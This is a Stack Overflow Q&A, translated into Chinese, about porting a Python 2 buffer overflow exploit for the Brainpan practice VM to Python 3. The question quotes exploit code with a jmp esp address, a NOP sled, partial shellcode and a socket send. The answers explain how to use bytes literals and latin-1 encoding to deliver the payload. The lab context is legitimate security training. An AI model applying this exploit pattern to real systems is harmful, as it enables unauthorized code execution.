【问题标题】:Using python 3 as a buffer overflow instead of Python 2使用 python 3 作为缓冲区溢出而不是 Python 2
【发布时间】:2019-08-21 05:58:32
【问题描述】:

我正在尝试使用 python3 而不是 Python 2 将缓冲区溢出推送到 Brainpan。问题是 python3 以不同的方式转换字节。有谁知道如何以 python3 格式以简单的方式推送字节?

python2 代码的示例代码可以在以下位置找到: http://blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

取自页面:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

我已经尝试过使用各种编码的s.send(payload.encode())。据我所知,没有任何效果。

【问题讨论】:

  • 当你说它发送“方式不同”它不应该发送时你是什么意思......它确实需要的一件事是字节而不是 str......所以我会冒险猜测它没有发送完全...试试s.send(bytes(payload))
  • eip = "\xf3\x12\x17\x31" 不是字节,它是一个str。使用实际的 bytes 对象,所以在这里你可以这样做:eip = b"\xf3\x12\x17\x31",注意 b 用于字节文字。

标签: python python-3.x buffer-overflow


【解决方案1】:

尝试使用bytes literals

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

并完全绕过编码的需要。

【讨论】:

  • 如果追加很多而不只是在这一行,bytearray 会更有效率。
  • 我试过了,没有成功。但今晚我会在下一次练习时再试一次。
  • 我发誓我试过了,但没用。无论如何,我只是重试了,它完全奏效了。谢谢。
  • 经过更多研究后,这不起作用(技术上),因为 python3 在文本周围添加了 b'' 标头部分,因此您在开头获得 2 个额外字节,在结尾获得 1 个额外字节。
【解决方案2】:

我有同样的错误,但另外发现\x7F之后的任何字符在坏字符测试后都被损坏了; Python 3 似乎在每个字符之前插入随机的 \xC2\xC3。有效的是要么使用字节文字,要么使用.encode('latin-1')。有反馈说 latin-1 编码并不总是有效,请参阅 here,但我没有遇到字节文字的问题。

编辑:您可能会发现这些也很有用。两者都对 Python 3 使用 Latin-1 编码。 http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/Buffer_Overflow.pdf https://blog.lab26.net/vulnerable-vm-walkthrough-brainpan-1-binary-exploitation/

【讨论】:

    猜你喜欢
    • 2012-12-18
    • 2011-10-16
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-08-16
    • 2015-12-16
    相关资源
    最近更新 更多